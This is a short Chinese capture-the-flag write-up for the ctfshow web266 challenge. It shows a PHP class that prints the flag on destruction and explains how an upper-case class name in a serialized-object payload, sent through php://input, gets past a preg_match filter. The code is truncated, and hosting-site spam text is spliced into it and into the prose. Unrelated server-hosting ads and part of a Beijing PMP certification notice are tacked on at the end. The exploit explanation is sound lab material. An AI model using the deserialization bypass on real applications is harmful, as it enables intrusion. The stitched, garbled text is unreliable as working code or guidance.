ctfshow web266
username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
服务器托管网 global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
?>本题利用的是php的类目和方法名不缺分大小写特性（变量名敏感），利用大写类名绕过preg_match检查。
但是本题也有一个坑点，payload不能再urlencode，因为是通过php://服务器托管网input提交，并不会在后台进行urldecode，如果换作get提交则可用urlencode后再提交
payload:
O:7:”Ctfshow”:2:{s:8:”username”;s:6:”xxxxxx”;s:8:”password”;s:6:”xxxxxx”;}
服务器托管，北京服务器托管，服务器租用 http://www.fwqtg.net
机房租用，北京机房租用，IDC机房托管， http://www.fwqtg.net
北京人社局发布了《北京市境外职业资格认可目录(3.0版)》，PMP证书在目录之中，持证人员与在京单位建立人事劳动关系可办理工作居住证，对应中级职称。 以下是通知原文： 北京市人力资源和社会保障局 北京市人才工作局 关于印发《北京市境外职业资格认可目录(3.0版…
